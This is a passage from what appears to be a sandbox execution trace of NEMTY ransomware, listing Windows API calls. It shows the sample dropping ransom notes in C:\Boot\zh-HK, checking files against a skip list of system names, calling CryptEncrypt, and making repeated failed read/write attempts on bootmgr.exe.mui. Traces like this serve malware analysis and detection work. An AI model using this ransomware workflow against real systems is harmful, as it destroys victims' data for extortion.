lpMultiByteStr="zh-HK", lpUsedDefaultChar=0x0) returned 5 [0046.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-HK", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zh-HK", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zh-HK", lpUsedDefaultChar=0x0) returned 5 [0046.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.398] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\zh-hk\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.398] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.398] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.399] CloseHandle (hObject=0x3c0) returned 1 [0046.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.400] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\zh-hk\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.401] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.401] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0046.401] CloseHandle (hObject=0x3c0) returned 1 [0046.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.404] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf5ac630, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf5ac630, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0046.404] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.404] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcf5ac630, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf5ac630, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.404] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.404] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.404] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0046.404] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0046.404] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0046.404] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0046.404] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0046.404] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0046.405] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0046.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0046.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0046.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0046.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.406] Sleep (dwMilliseconds=0x5) [0046.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf5d2790, dwHighDateTime=0x1d561e7)) [0046.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xcf5d2790, dwHighDateTime=0x1d561e7)) [0046.408] GetLastError () returned 0xb7 [0046.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.408] GetLastError () returned 0xb7 [0046.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.408] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0046.408] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0046.408] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0046.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0046.408] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="umdqjmON/DvZDUk4bhMW62MGDni9VMivE2oCuElaOzuHawRNesF61uL7n4fNx2be\r\ncqwRRjwnq4EVOXmwXR3GTJNLoMG5Xo2rHMYdBprCsJ6rHATx88GgL1HsEzjE5pys\r\n1ldid1DO7cH6g3NMTjNassaOoB1nakjk8nLFB4ySVG/CAkuvqBYlSb9WbXuyDAXD\r\n8CLmXUw/bOEdTdh78AI3PoWYGIf/2m9m8/CyPe5aIf9rTdXvLfrER+eOZ4lpGdIB\r\nwk+/BHVmyK8bMIn4aO0TlWREyGG8PMk7gE5BT4aYQTRUfjgU9zg1COrCzb7K1wsf\r\nZfz8RK090nihWwnxFsWarA==\r\n", pcchString=0x653f2dc) returned 1 [0046.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0046.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0046.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0046.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0046.408] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.409] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0046.409] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0046.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.475] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.484] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.503] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.503] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.503] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: 